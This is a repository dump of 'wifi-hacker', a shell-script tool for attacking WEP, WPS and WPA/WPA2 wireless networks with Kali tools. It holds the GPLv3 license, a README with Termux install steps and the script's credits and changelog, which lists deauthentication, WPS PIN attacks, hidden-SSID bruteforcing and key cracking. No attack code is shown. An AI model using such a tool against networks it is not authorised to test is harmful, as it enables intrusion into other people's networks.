├── LICENSE
├── README.md
└── wifi-hacker.sh
/LICENSE:
--------------------------------------------------------------------------------
1 | GNU GENERAL PUBLIC LICENSE
2 | Version 3, 29 June 2007
3 |
4 | Copyright (C) 2007 Free Software Foundation, Inc.
5 | Everyone is permitted to copy and distribute verbatim copies
6 | of this license document, but changing it is not allowed.
7 |
8 | Preamble
9 |
10 | The GNU General Public License is a free, copyleft license for
11 | software and other kinds of works.
12 |
13 | The licenses for most software and other practical works are designed
14 | to take away your freedom to share and change the works. By contrast,
15 | the GNU General Public License is intended to guarantee your freedom to
16 | share and change all versions of a program--to make sure it remains free
17 | software for all its users. We, the Free Software Foundation, use the
18 | GNU General Public License for most of our software; it applies also to
19 | any other work released this way by its authors. You can apply it to
20 | your programs, too.
21 |
22 | When we speak of free software, we are referring to freedom, not
23 | price. Our General Public Licenses are designed to make sure that you
24 | have the freedom to distribute copies of free software (and charge for
25 | them if you wish), that you receive source code or can get it if you
26 | want it, that you can change the software or use pieces of it in new
27 | free programs, and that you know you can do these things.
28 |
29 | To protect your rights, we need to prevent others from denying you
30 | these rights or asking you to surrender the rights. Therefore, you have
31 | certain responsibilities if you distribute copies of the software, or if
32 | you modify it: responsibilities to respect the freedom of others.
33 |
34 | For example, if you distribute copies of such a program, whether
35 | gratis or for a fee, you must pass on to the recipients the same
36 | freedoms that you received. You must make sure that they, too, receive
37 | or can get the source code. And you must show them these terms so they
38 | know their rights.
39 |
40 | Developers that use the GNU GPL protect your rights with two steps:
41 | (1) assert copyright on the software, and (2) offer you this License
42 | giving you legal permission to copy, distribute and/or modify it.
43 |
44 | For the developers' and authors' protection, the GPL clearly explains
45 | that there is no warranty for this free software. For both users' and
46 | authors' sake, the GPL requires that modified versions be marked as
47 | changed, so that their problems will not be attributed erroneously to
48 | authors of previous versions.
49 |
50 | Some devices are designed to deny users access to install or run
51 | modified versions of the software inside them, although the manufacturer
52 | can do so. This is fundamentally incompatible with the aim of
53 | protecting users' freedom to change the software. The systematic
54 | pattern of such abuse occurs in the area of products for individuals to
55 | use, which is precisely where it is most unacceptable. Therefore, we
56 | have designed this version of the GPL to prohibit the practice for those
57 | products. If such problems arise substantially in other domains, we
58 | stand ready to extend this provision to those domains in future versions
59 | of the GPL, as needed to protect the freedom of users.
60 |
61 | Finally, every program is threatened constantly by software patents.
62 | States should not allow patents to restrict development and use of
63 | software on general-purpose computers, but in those that do, we wish to
64 | avoid the special danger that patents applied to a free program could
65 | make it effectively proprietary. To prevent this, the GPL assures that
66 | patents cannot be used to render the program non-free.
67 |
68 | The precise terms and conditions for copying, distribution and
69 | modification follow.
70 |
71 | TERMS AND CONDITIONS
72 |
73 | 0. Definitions.
74 |
75 | "This License" refers to version 3 of the GNU General Public License.
76 |
77 | "Copyright" also means copyright-like laws that apply to other kinds of
78 | works, such as semiconductor masks.
79 |
80 | "The Program" refers to any copyrightable work licensed under this
81 | License. Each licensee is addressed as "you". "Licensees" and
82 | "recipients" may be individuals or organizations.
83 |
84 | To "modify" a work means to copy from or adapt all or part of the work
85 | in a fashion requiring copyright permission, other than the making of an
86 | exact copy. The resulting work is called a "modified version" of the
87 | earlier work or a work "based on" the earlier work.
88 |
89 | A "covered work" means either the unmodified Program or a work based
90 | on the Program.
91 |
92 | To "propagate" a work means to do anything with it that, without
93 | permission, would make you directly or secondarily liable for
94 | infringement under applicable copyright law, except executing it on a
95 | computer or modifying a private copy. Propagation includes copying,
96 | distribution (with or without modification), making available to the
97 | public, and in some countries other activities as well.
98 |
99 | To "convey" a work means any kind of propagation that enables other
100 | parties to make or receive copies. Mere interaction with a user through
101 | a computer network, with no transfer of a copy, is not conveying.
102 |
103 | An interactive user interface displays "Appropriate Legal Notices"
104 | to the extent that it includes a convenient and prominently visible
105 | feature that (1) displays an appropriate copyright notice, and (2)
106 | tells the user that there is no warranty for the work (except to the
107 | extent that warranties are provided), that licensees may convey the
108 | work under this License, and how to view a copy of this License. If
109 | the interface presents a list of user commands or options, such as a
110 | menu, a prominent item in the list meets this criterion.
111 |
112 | 1. Source Code.
113 |
114 | The "source code" for a work means the preferred form of the work
115 | for making modifications to it. "Object code" means any non-source
116 | form of a work.
117 |
118 | A "Standard Interface" means an interface that either is an official
119 | standard defined by a recognized standards body, or, in the case of
120 | interfaces specified for a particular programming language, one that
121 | is widely used among developers working in that language.
122 |
123 | The "System Libraries" of an executable work include anything, other
124 | than the work as a whole, that (a) is included in the normal form of
125 | packaging a Major Component, but which is not part of that Major
126 | Component, and (b) serves only to enable use of the work with that
127 | Major Component, or to implement a Standard Interface for which an
128 | implementation is available to the public in source code form. A
129 | "Major Component", in this context, means a major essential component
130 | (kernel, window system, and so on) of the specific operating system
131 | (if any) on which the executable work runs, or a compiler used to
132 | produce the work, or an object code interpreter used to run it.
133 |
134 | The "Corresponding Source" for a work in object code form means all
135 | the source code needed to generate, install, and (for an executable
136 | work) run the object code and to modify the work, including scripts to
137 | control those activities. However, it does not include the work's
138 | System Libraries, or general-purpose tools or generally available free
139 | programs which are used unmodified in performing those activities but
140 | which are not part of the work. For example, Corresponding Source
141 | includes interface definition files associated with source files for
142 | the work, and the source code for shared libraries and dynamically
143 | linked subprograms that the work is specifically designed to require,
144 | such as by intimate data communication or control flow between those
145 | subprograms and other parts of the work.
146 |
147 | The Corresponding Source need not include anything that users
148 | can regenerate automatically from other parts of the Corresponding
149 | Source.
150 |
151 | The Corresponding Source for a work in source code form is that
152 | same work.
153 |
154 | 2. Basic Permissions.
155 |
156 | All rights granted under this License are granted for the term of
157 | copyright on the Program, and are irrevocable provided the stated
158 | conditions are met. This License explicitly affirms your unlimited
159 | permission to run the unmodified Program. The output from running a
160 | covered work is covered by this License only if the output, given its
161 | content, constitutes a covered work. This License acknowledges your
162 | rights of fair use or other equivalent, as provided by copyright law.
163 |
164 | You may make, run and propagate covered works that you do not
165 | convey, without conditions so long as your license otherwise remains
166 | in force. You may convey covered works to others for the sole purpose
167 | of having them make modifications exclusively for you, or provide you
168 | with facilities for running those works, provided that you comply with
169 | the terms of this License in conveying all material for which you do
170 | not control copyright. Those thus making or running the covered works
171 | for you must do so exclusively on your behalf, under your direction
172 | and control, on terms that prohibit them from making any copies of
173 | your copyrighted material outside their relationship with you.
174 |
175 | Conveying under any other circumstances is permitted solely under
176 | the conditions stated below. Sublicensing is not allowed; section 10
177 | makes it unnecessary.
178 |
179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law.
180 |
181 | No covered work shall be deemed part of an effective technological
182 | measure under any applicable law fulfilling obligations under article
183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or
184 | similar laws prohibiting or restricting circumvention of such
185 | measures.
186 |
187 | When you convey a covered work, you waive any legal power to forbid
188 | circumvention of technological measures to the extent such circumvention
189 | is effected by exercising rights under this License with respect to
190 | the covered work, and you disclaim any intention to limit operation or
191 | modification of the work as a means of enforcing, against the work's
192 | users, your or third parties' legal rights to forbid circumvention of
193 | technological measures.
194 |
195 | 4. Conveying Verbatim Copies.
196 |
197 | You may convey verbatim copies of the Program's source code as you
198 | receive it, in any medium, provided that you conspicuously and
199 | appropriately publish on each copy an appropriate copyright notice;
200 | keep intact all notices stating that this License and any
201 | non-permissive terms added in accord with section 7 apply to the code;
202 | keep intact all notices of the absence of any warranty; and give all
203 | recipients a copy of this License along with the Program.
204 |
205 | You may charge any price or no price for each copy that you convey,
206 | and you may offer support or warranty protection for a fee.
207 |
208 | 5. Conveying Modified Source Versions.
209 |
210 | You may convey a work based on the Program, or the modifications to
211 | produce it from the Program, in the form of source code under the
212 | terms of section 4, provided that you also meet all of these conditions:
213 |
214 | a) The work must carry prominent notices stating that you modified
215 | it, and giving a relevant date.
216 |
217 | b) The work must carry prominent notices stating that it is
218 | released under this License and any conditions added under section
219 | 7. This requirement modifies the requirement in section 4 to
220 | "keep intact all notices".
221 |
222 | c) You must license the entire work, as a whole, under this
223 | License to anyone who comes into possession of a copy. This
224 | License will therefore apply, along with any applicable section 7
225 | additional terms, to the whole of the work, and all its parts,
226 | regardless of how they are packaged. This License gives no
227 | permission to license the work in any other way, but it does not
228 | invalidate such permission if you have separately received it.
229 |
230 | d) If the work has interactive user interfaces, each must display
231 | Appropriate Legal Notices; however, if the Program has interactive
232 | interfaces that do not display Appropriate Legal Notices, your
233 | work need not make them do so.
234 |
235 | A compilation of a covered work with other separate and independent
236 | works, which are not by their nature extensions of the covered work,
237 | and which are not combined with it such as to form a larger program,
238 | in or on a volume of a storage or distribution medium, is called an
239 | "aggregate" if the compilation and its resulting copyright are not
240 | used to limit the access or legal rights of the compilation's users
241 | beyond what the individual works permit. Inclusion of a covered work
242 | in an aggregate does not cause this License to apply to the other
243 | parts of the aggregate.
244 |
245 | 6. Conveying Non-Source Forms.
246 |
247 | You may convey a covered work in object code form under the terms
248 | of sections 4 and 5, provided that you also convey the
249 | machine-readable Corresponding Source under the terms of this License,
250 | in one of these ways:
251 |
252 | a) Convey the object code in, or embodied in, a physical product
253 | (including a physical distribution medium), accompanied by the
254 | Corresponding Source fixed on a durable physical medium
255 | customarily used for software interchange.
256 |
257 | b) Convey the object code in, or embodied in, a physical product
258 | (including a physical distribution medium), accompanied by a
259 | written offer, valid for at least three years and valid for as
260 | long as you offer spare parts or customer support for that product
261 | model, to give anyone who possesses the object code either (1) a
262 | copy of the Corresponding Source for all the software in the
263 | product that is covered by this License, on a durable physical
264 | medium customarily used for software interchange, for a price no
265 | more than your reasonable cost of physically performing this
266 | conveying of source, or (2) access to copy the
267 | Corresponding Source from a network server at no charge.
268 |
269 | c) Convey individual copies of the object code with a copy of the
270 | written offer to provide the Corresponding Source. This
271 | alternative is allowed only occasionally and noncommercially, and
272 | only if you received the object code with such an offer, in accord
273 | with subsection 6b.
274 |
275 | d) Convey the object code by offering access from a designated
276 | place (gratis or for a charge), and offer equivalent access to the
277 | Corresponding Source in the same way through the same place at no
278 | further charge. You need not require recipients to copy the
279 | Corresponding Source along with the object code. If the place to
280 | copy the object code is a network server, the Corresponding Source
281 | may be on a different server (operated by you or a third party)
282 | that supports equivalent copying facilities, provided you maintain
283 | clear directions next to the object code saying where to find the
284 | Corresponding Source. Regardless of what server hosts the
285 | Corresponding Source, you remain obligated to ensure that it is
286 | available for as long as needed to satisfy these requirements.
287 |
288 | e) Convey the object code using peer-to-peer transmission, provided
289 | you inform other peers where the object code and Corresponding
290 | Source of the work are being offered to the general public at no
291 | charge under subsection 6d.
292 |
293 | A separable portion of the object code, whose source code is excluded
294 | from the Corresponding Source as a System Library, need not be
295 | included in conveying the object code work.
296 |
297 | A "User Product" is either (1) a "consumer product", which means any
298 | tangible personal property which is normally used for personal, family,
299 | or household purposes, or (2) anything designed or sold for incorporation
300 | into a dwelling. In determining whether a product is a consumer product,
301 | doubtful cases shall be resolved in favor of coverage. For a particular
302 | product received by a particular user, "normally used" refers to a
303 | typical or common use of that class of product, regardless of the status
304 | of the particular user or of the way in which the particular user
305 | actually uses, or expects or is expected to use, the product. A product
306 | is a consumer product regardless of whether the product has substantial
307 | commercial, industrial or non-consumer uses, unless such uses represent
308 | the only significant mode of use of the product.
309 |
310 | "Installation Information" for a User Product means any methods,
311 | procedures, authorization keys, or other information required to install
312 | and execute modified versions of a covered work in that User Product from
313 | a modified version of its Corresponding Source. The information must
314 | suffice to ensure that the continued functioning of the modified object
315 | code is in no case prevented or interfered with solely because
316 | modification has been made.
317 |
318 | If you convey an object code work under this section in, or with, or
319 | specifically for use in, a User Product, and the conveying occurs as
320 | part of a transaction in which the right of possession and use of the
321 | User Product is transferred to the recipient in perpetuity or for a
322 | fixed term (regardless of how the transaction is characterized), the
323 | Corresponding Source conveyed under this section must be accompanied
324 | by the Installation Information. But this requirement does not apply
325 | if neither you nor any third party retains the ability to install
326 | modified object code on the User Product (for example, the work has
327 | been installed in ROM).
328 |
329 | The requirement to provide Installation Information does not include a
330 | requirement to continue to provide support service, warranty, or updates
331 | for a work that has been modified or installed by the recipient, or for
332 | the User Product in which it has been modified or installed. Access to a
333 | network may be denied when the modification itself materially and
334 | adversely affects the operation of the network or violates the rules and
335 | protocols for communication across the network.
336 |
337 | Corresponding Source conveyed, and Installation Information provided,
338 | in accord with this section must be in a format that is publicly
339 | documented (and with an implementation available to the public in
340 | source code form), and must require no special password or key for
341 | unpacking, reading or copying.
342 |
343 | 7. Additional Terms.
344 |
345 | "Additional permissions" are terms that supplement the terms of this
346 | License by making exceptions from one or more of its conditions.
347 | Additional permissions that are applicable to the entire Program shall
348 | be treated as though they were included in this License, to the extent
349 | that they are valid under applicable law. If additional permissions
350 | apply only to part of the Program, that part may be used separately
351 | under those permissions, but the entire Program remains governed by
352 | this License without regard to the additional permissions.
353 |
354 | When you convey a copy of a covered work, you may at your option
355 | remove any additional permissions from that copy, or from any part of
356 | it. (Additional permissions may be written to require their own
357 | removal in certain cases when you modify the work.) You may place
358 | additional permissions on material, added by you to a covered work,
359 | for which you have or can give appropriate copyright permission.
360 |
361 | Notwithstanding any other provision of this License, for material you
362 | add to a covered work, you may (if authorized by the copyright holders of
363 | that material) supplement the terms of this License with terms:
364 |
365 | a) Disclaiming warranty or limiting liability differently from the
366 | terms of sections 15 and 16 of this License; or
367 |
368 | b) Requiring preservation of specified reasonable legal notices or
369 | author attributions in that material or in the Appropriate Legal
370 | Notices displayed by works containing it; or
371 |
372 | c) Prohibiting misrepresentation of the origin of that material, or
373 | requiring that modified versions of such material be marked in
374 | reasonable ways as different from the original version; or
375 |
376 | d) Limiting the use for publicity purposes of names of licensors or
377 | authors of the material; or
378 |
379 | e) Declining to grant rights under trademark law for use of some
380 | trade names, trademarks, or service marks; or
381 |
382 | f) Requiring indemnification of licensors and authors of that
383 | material by anyone who conveys the material (or modified versions of
384 | it) with contractual assumptions of liability to the recipient, for
385 | any liability that these contractual assumptions directly impose on
386 | those licensors and authors.
387 |
388 | All other non-permissive additional terms are considered "further
389 | restrictions" within the meaning of section 10. If the Program as you
390 | received it, or any part of it, contains a notice stating that it is
391 | governed by this License along with a term that is a further
392 | restriction, you may remove that term. If a license document contains
393 | a further restriction but permits relicensing or conveying under this
394 | License, you may add to a covered work material governed by the terms
395 | of that license document, provided that the further restriction does
396 | not survive such relicensing or conveying.
397 |
398 | If you add terms to a covered work in accord with this section, you
399 | must place, in the relevant source files, a statement of the
400 | additional terms that apply to those files, or a notice indicating
401 | where to find the applicable terms.
402 |
403 | Additional terms, permissive or non-permissive, may be stated in the
404 | form of a separately written license, or stated as exceptions;
405 | the above requirements apply either way.
406 |
407 | 8. Termination.
408 |
409 | You may not propagate or modify a covered work except as expressly
410 | provided under this License. Any attempt otherwise to propagate or
411 | modify it is void, and will automatically terminate your rights under
412 | this License (including any patent licenses granted under the third
413 | paragraph of section 11).
414 |
415 | However, if you cease all violation of this License, then your
416 | license from a particular copyright holder is reinstated (a)
417 | provisionally, unless and until the copyright holder explicitly and
418 | finally terminates your license, and (b) permanently, if the copyright
419 | holder fails to notify you of the violation by some reasonable means
420 | prior to 60 days after the cessation.
421 |
422 | Moreover, your license from a particular copyright holder is
423 | reinstated permanently if the copyright holder notifies you of the
424 | violation by some reasonable means, this is the first time you have
425 | received notice of violation of this License (for any work) from that
426 | copyright holder, and you cure the violation prior to 30 days after
427 | your receipt of the notice.
428 |
429 | Termination of your rights under this section does not terminate the
430 | licenses of parties who have received copies or rights from you under
431 | this License. If your rights have been terminated and not permanently
432 | reinstated, you do not qualify to receive new licenses for the same
433 | material under section 10.
434 |
435 | 9. Acceptance Not Required for Having Copies.
436 |
437 | You are not required to accept this License in order to receive or
438 | run a copy of the Program. Ancillary propagation of a covered work
439 | occurring solely as a consequence of using peer-to-peer transmission
440 | to receive a copy likewise does not require acceptance. However,
441 | nothing other than this License grants you permission to propagate or
442 | modify any covered work. These actions infringe copyright if you do
443 | not accept this License. Therefore, by modifying or propagating a
444 | covered work, you indicate your acceptance of this License to do so.
445 |
446 | 10. Automatic Licensing of Downstream Recipients.
447 |
448 | Each time you convey a covered work, the recipient automatically
449 | receives a license from the original licensors, to run, modify and
450 | propagate that work, subject to this License. You are not responsible
451 | for enforcing compliance by third parties with this License.
452 |
453 | An "entity transaction" is a transaction transferring control of an
454 | organization, or substantially all assets of one, or subdividing an
455 | organization, or merging organizations. If propagation of a covered
456 | work results from an entity transaction, each party to that
457 | transaction who receives a copy of the work also receives whatever
458 | licenses to the work the party's predecessor in interest had or could
459 | give under the previous paragraph, plus a right to possession of the
460 | Corresponding Source of the work from the predecessor in interest, if
461 | the predecessor has it or can get it with reasonable efforts.
462 |
463 | You may not impose any further restrictions on the exercise of the
464 | rights granted or affirmed under this License. For example, you may
465 | not impose a license fee, royalty, or other charge for exercise of
466 | rights granted under this License, and you may not initiate litigation
467 | (including a cross-claim or counterclaim in a lawsuit) alleging that
468 | any patent claim is infringed by making, using, selling, offering for
469 | sale, or importing the Program or any portion of it.
470 |
471 | 11. Patents.
472 |
473 | A "contributor" is a copyright holder who authorizes use under this
474 | License of the Program or a work on which the Program is based. The
475 | work thus licensed is called the contributor's "contributor version".
476 |
477 | A contributor's "essential patent claims" are all patent claims
478 | owned or controlled by the contributor, whether already acquired or
479 | hereafter acquired, that would be infringed by some manner, permitted
480 | by this License, of making, using, or selling its contributor version,
481 | but do not include claims that would be infringed only as a
482 | consequence of further modification of the contributor version. For
483 | purposes of this definition, "control" includes the right to grant
484 | patent sublicenses in a manner consistent with the requirements of
485 | this License.
486 |
487 | Each contributor grants you a non-exclusive, worldwide, royalty-free
488 | patent license under the contributor's essential patent claims, to
489 | make, use, sell, offer for sale, import and otherwise run, modify and
490 | propagate the contents of its contributor version.
491 |
492 | In the following three paragraphs, a "patent license" is any express
493 | agreement or commitment, however denominated, not to enforce a patent
494 | (such as an express permission to practice a patent or covenant not to
495 | sue for patent infringement). To "grant" such a patent license to a
496 | party means to make such an agreement or commitment not to enforce a
497 | patent against the party.
498 |
499 | If you convey a covered work, knowingly relying on a patent license,
500 | and the Corresponding Source of the work is not available for anyone
501 | to copy, free of charge and under the terms of this License, through a
502 | publicly available network server or other readily accessible means,
503 | then you must either (1) cause the Corresponding Source to be so
504 | available, or (2) arrange to deprive yourself of the benefit of the
505 | patent license for this particular work, or (3) arrange, in a manner
506 | consistent with the requirements of this License, to extend the patent
507 | license to downstream recipients. "Knowingly relying" means you have
508 | actual knowledge that, but for the patent license, your conveying the
509 | covered work in a country, or your recipient's use of the covered work
510 | in a country, would infringe one or more identifiable patents in that
511 | country that you have reason to believe are valid.
512 |
513 | If, pursuant to or in connection with a single transaction or
514 | arrangement, you convey, or propagate by procuring conveyance of, a
515 | covered work, and grant a patent license to some of the parties
516 | receiving the covered work authorizing them to use, propagate, modify
517 | or convey a specific copy of the covered work, then the patent license
518 | you grant is automatically extended to all recipients of the covered
519 | work and works based on it.
520 |
521 | A patent license is "discriminatory" if it does not include within
522 | the scope of its coverage, prohibits the exercise of, or is
523 | conditioned on the non-exercise of one or more of the rights that are
524 | specifically granted under this License. You may not convey a covered
525 | work if you are a party to an arrangement with a third party that is
526 | in the business of distributing software, under which you make payment
527 | to the third party based on the extent of your activity of conveying
528 | the work, and under which the third party grants, to any of the
529 | parties who would receive the covered work from you, a discriminatory
530 | patent license (a) in connection with copies of the covered work
531 | conveyed by you (or copies made from those copies), or (b) primarily
532 | for and in connection with specific products or compilations that
533 | contain the covered work, unless you entered into that arrangement,
534 | or that patent license was granted, prior to 28 March 2007.
535 |
536 | Nothing in this License shall be construed as excluding or limiting
537 | any implied license or other defenses to infringement that may
538 | otherwise be available to you under applicable patent law.
539 |
540 | 12. No Surrender of Others' Freedom.
541 |
542 | If conditions are imposed on you (whether by court order, agreement or
543 | otherwise) that contradict the conditions of this License, they do not
544 | excuse you from the conditions of this License. If you cannot convey a
545 | covered work so as to satisfy simultaneously your obligations under this
546 | License and any other pertinent obligations, then as a consequence you may
547 | not convey it at all. For example, if you agree to terms that obligate you
548 | to collect a royalty for further conveying from those to whom you convey
549 | the Program, the only way you could satisfy both those terms and this
550 | License would be to refrain entirely from conveying the Program.
551 |
552 | 13. Use with the GNU Affero General Public License.
553 |
554 | Notwithstanding any other provision of this License, you have
555 | permission to link or combine any covered work with a work licensed
556 | under version 3 of the GNU Affero General Public License into a single
557 | combined work, and to convey the resulting work. The terms of this
558 | License will continue to apply to the part which is the covered work,
559 | but the special requirements of the GNU Affero General Public License,
560 | section 13, concerning interaction through a network will apply to the
561 | combination as such.
562 |
563 | 14. Revised Versions of this License.
564 |
565 | The Free Software Foundation may publish revised and/or new versions of
566 | the GNU General Public License from time to time. Such new versions will
567 | be similar in spirit to the present version, but may differ in detail to
568 | address new problems or concerns.
569 |
570 | Each version is given a distinguishing version number. If the
571 | Program specifies that a certain numbered version of the GNU General
572 | Public License "or any later version" applies to it, you have the
573 | option of following the terms and conditions either of that numbered
574 | version or of any later version published by the Free Software
575 | Foundation. If the Program does not specify a version number of the
576 | GNU General Public License, you may choose any version ever published
577 | by the Free Software Foundation.
578 |
579 | If the Program specifies that a proxy can decide which future
580 | versions of the GNU General Public License can be used, that proxy's
581 | public statement of acceptance of a version permanently authorizes you
582 | to choose that version for the Program.
583 |
584 | Later license versions may give you additional or different
585 | permissions. However, no additional obligations are imposed on any
586 | author or copyright holder as a result of your choosing to follow a
587 | later version.
588 |
589 | 15. Disclaimer of Warranty.
590 |
591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
599 |
600 | 16. Limitation of Liability.
601 |
602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
610 | SUCH DAMAGES.
611 |
612 | 17. Interpretation of Sections 15 and 16.
613 |
614 | If the disclaimer of warranty and limitation of liability provided
615 | above cannot be given local legal effect according to their terms,
616 | reviewing courts shall apply local law that most closely approximates
617 | an absolute waiver of all civil liability in connection with the
618 | Program, unless a warranty or assumption of liability accompanies a
619 | copy of the Program in return for a fee.
620 |
621 | END OF TERMS AND CONDITIONS
622 |
623 | How to Apply These Terms to Your New Programs
624 |
625 | If you develop a new program, and you want it to be of the greatest
626 | possible use to the public, the best way to achieve this is to make it
627 | free software which everyone can redistribute and change under these terms.
628 |
629 | To do so, attach the following notices to the program. It is safest
630 | to attach them to the start of each source file to most effectively
631 | state the exclusion of warranty; and each file should have at least
632 | the "copyright" line and a pointer to where the full notice is found.
633 |
634 |
635 | Copyright (C)
636 |
637 | This program is free software: you can redistribute it and/or modify
638 | it under the terms of the GNU General Public License as published by
639 | the Free Software Foundation, either version 3 of the License, or
640 | (at your option) any later version.
641 |
642 | This program is distributed in the hope that it will be useful,
643 | but WITHOUT ANY WARRANTY; without even the implied warranty of
644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
645 | GNU General Public License for more details.
646 |
647 | You should have received a copy of the GNU General Public License
648 | along with this program. If not, see .
649 |
650 | Also add information on how to contact you by electronic and paper mail.
651 |
652 | If the program does terminal interaction, make it output a short
653 | notice like this when it starts in an interactive mode:
654 |
655 | Copyright (C)
656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
657 | This is free software, and you are welcome to redistribute it
658 | under certain conditions; type `show c' for details.
659 |
660 | The hypothetical commands `show w' and `show c' should show the appropriate
661 | parts of the General Public License. Of course, your program's commands
662 | might be different; for a GUI interface, you would use an "about box".
663 |
664 | You should also get your employer (if you work as a programmer) or school,
665 | if any, to sign a "copyright disclaimer" for the program, if necessary.
666 | For more information on this, and how to apply and follow the GNU GPL, see
667 | .
668 |
669 | The GNU General Public License does not permit incorporating your program
670 | into proprietary programs. If your program is a subroutine library, you
671 | may consider it more useful to permit linking proprietary applications with
672 | the library. If this is what you want to do, use the GNU Lesser General
673 | Public License instead of this License. But first, please read
674 | .
675 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # wifi-hacker
2 | Shell Script For Attacking Wireless Connections Using Built-In Kali Tools. Supports All Securities (WEP, WPS, WPA, WPA2)
3 |
4 | # Installation in Android(Termux)
5 |
6 | > pkg install wget
7 |
8 | > pkg install openssh
9 |
10 | > pkg install php
11 |
12 | > pkg install curl
13 |
14 | > git clone https://github.com/TermuxHackz/wifi-hacker
15 |
16 | > cd wifi-hacker
17 |
18 | > chmod +x *
19 |
20 | > ls
21 |
22 | > bash wifi-hacker.sh
23 |
--------------------------------------------------------------------------------
/wifi-hacker.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 |
4 | ############################################################################
5 | # CREDITS BEGIN ########################################################
6 | ############################################################################
7 |
8 |
9 | # WiFi Hacker v2.0
10 | # esc0rtd3w 2019
11 |
12 | # https://github.com/TermuxHackz/wifi-hacker/
13 |
14 | # Uses parts of the aircrack-ng suite, reaver, wifite, and many other tools
15 |
16 |
17 | ############################################################################
18 | # CREDITS END ##########################################################
19 | ############################################################################
20 |
21 |
22 |
23 |
24 |
25 | ############################################################################
26 | # VERSION HISTORY BEGIN ################################################
27 | ############################################################################
28 |
29 | # v2.0
30 | # - Added support for new Gnome terminal options. Tested in Kali 2018.4
31 |
32 | # v1.9
33 | # - Added support for Wash. Currently used for dumping scan info out to text.
34 | # - Added "Bruteforce Hidden SSID Options" To Extras Menu and updated bruteforceHiddenSSID() Function.
35 | # - Updated Menu Navigation to restrict from entering Extras Menu until after a wireless adapter has been selected.
36 | # - Configured updates with new coloring, and now will only update if remote version is higher than local version.
37 | # - Cleaned up code for doSleepMessage() Function. Now takes 3 arguments, "message", "time", and "color".
38 | # - Updated Extras Menu. Added wpa_supplicant enable and disable options. Updated wpa_cli options.
39 | # - Updated Reaver save session to only save a backup if current session file exists.
40 | # - Fixed and updated Reaver output post screen that was broken in the last release version.
41 |
42 | # v1.8
43 | # - Cleaned up scripting and moved all global hotkey triggers to a loadMenuHotkeys Function.
44 | # - Added a bruteforceHiddenSSID() Function to handle hidden SSID name reveals.
45 | # - Added logging to XML file from airodump-ng when scanning Access Points for all encryption types.
46 | # - Added automatic 10 second timeout for Update Menu to continue to main menu for attacking.
47 | # - Fixed Update Menu. "Check For Update" and "Apply New Update" are now functional.
48 | # - Update Menu now loads automatically after accepting license agreement.
49 | # - Added support for parsing network adapter names for displaying when selecting adapter to use.
50 | # - Added a check for PixieWPS attacks. If failed, will now default to normal Reaver attack.
51 |
52 | # v1.7
53 | # - Currently supports up to 10 wifi adapters.
54 | # - Changed hotkey for "Manual Adapter Entry" from "M" to "C", because of conflicting with main menu hotkey
55 | # - Added adapter check after disclaimer is agreed, so the main menu will show the correct number of adapters.
56 | # - Updated "killCounterMax" to use "interfacesFound" value for "stopMonitorMode()" function
57 | # - Added "checkMultipleAdapters" Function
58 | # - Added number of interfaces displayed on stats banner.
59 | # - Fixed "Interface Name" on stats banner.
60 | # - Updated airodump-ng scripting for several functions.
61 | # - Fixed PixieDust toggles. They were reversed, disable turned on and vice/versa.
62 | # - Updated airodump-ng windows to only scan for the encryption type that is currently being targeted.
63 |
64 | # v1.6
65 | # - Added a "forceDisconnectWiFi" function to help fix active internet connection issues.
66 | # - Changed the handling of "WiFi Force Disconnect". Now, after accepting the agreement, the main menu will only load if the connection status is "0". If the status is "1", meaning the WiFi is connected to an access point, the "forceDisconnectWiFi" and "checkNetworkStatus" functions are called until the connection is released. This allows for better control of correcting errors resulting in having an active network connection.
67 | # - Added "ifconfig" and "iwconfig" output to Extras Interface Menu
68 | # - Merged "checkForEmptyBSSID", "checkForEmptyESSID", and "checkForEmptyChannel" into "checkForEmptyCredentials" function.
69 | # - Removed "arAttackDeAuthOnRetry" function. This was a duplicate and now uses "arAttackDeAuth" function instead.
70 | # - Cleaned up "stopMonitorMode" function.
71 | # - Added support for bully, used for WPS attacks.
72 | # - Fixed issue with active network connection not force disconnecting before attacks begin.
73 | # - Updated text for several menus.
74 | # - Fixed (mostly) the issue with backup ZIP files overwriting old backups.
75 |
76 | # v1.5
77 | # - Updated code to handle new cleaning invoked backup options for "backupSessionFiles" function.
78 | # - Added progress text for "cleanCaptureFiles", "cleanSessionFiles", and backupSessionFiles" functions.
79 | # - Fixed "Clean Session Files" and Clean Capture Files" options from Extras Menu.
80 | # - Now saving session files after Wifite Auto Attacks to prevent the .cap, .xor, etc files from being deleted.
81 | # - Updated minimal number of IVs to 5000 before cracking for Wifite WEP Auto Attacks.
